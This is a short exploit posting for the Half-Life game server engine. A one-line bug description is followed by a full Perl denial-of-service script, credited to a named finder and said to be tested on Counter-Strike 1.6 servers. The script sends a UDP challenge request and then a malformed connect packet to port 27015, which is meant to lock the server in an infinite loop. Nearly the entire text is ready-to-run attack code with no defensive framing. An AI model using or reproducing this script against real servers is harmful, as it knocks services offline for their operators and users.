There is an ability to enter a Half-Life server in an infinite loop and to
stop processing any requests
exploit:#!/usr/bin/perl
# Half-Life engine remote DoS exploit
# bug found by Firestorm
# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux
dedicated server
use IO::Socket;
die "usage: ./csdos <host>" unless $ARGV[0];
$host=$ARGV[0];
if (fork())
{ econnect($host); }
else
{ econnect($host); };
exit;
sub econnect($)
{
my $host=$_[0];
my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
die "Could not create socket: $!\n" unless $sock;
$cmd="\xff\xff\xff\xff";
syswrite $sock, $cmd."getchallenge";
sysread $sock,$b,65535; print $b,"\n";
@c=split(/ /,$b);
$c2=$c[1];
$q=$cmd."connect 47 $c2
\"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"
\"\\\"\0\0";
print '>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
}
--
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